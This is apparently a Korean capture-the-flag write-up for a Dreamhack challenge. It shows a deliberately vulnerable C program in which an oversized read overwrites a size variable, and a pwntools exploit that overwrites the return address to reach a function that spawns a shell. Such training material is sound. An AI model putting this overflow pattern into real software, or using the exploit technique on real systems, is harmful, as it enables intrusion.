// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
stack
[rbp-0x18]
[rbp-0x12]
[rbp-0xc]
[rbp-0x8]
[rbp-0x4]
buf
을 처음에 read할 때 0x10만큼 읽는다. 따라서 옆옆에 있는 buf_size
를 조작할 수 있다. buf_size
를 늘리고, 두번째 read에서 fruit
을 다시 받을 때 return address를 바꾸면 된다.
exploit
from pwn import *
p = remote('host3.dreamhack.games', 19070)
e = ELF('./chall')
buf = b'cherry' + b'AAAAAA' + b'Z'
p.sendlineafter(b'Menu: ', buf)
payload = b'A' * 0x12 + b'A' * 0x8
payload += p64(e.symbols['flag'])
p.sendlineafter(b': ', payload)
p.interactive()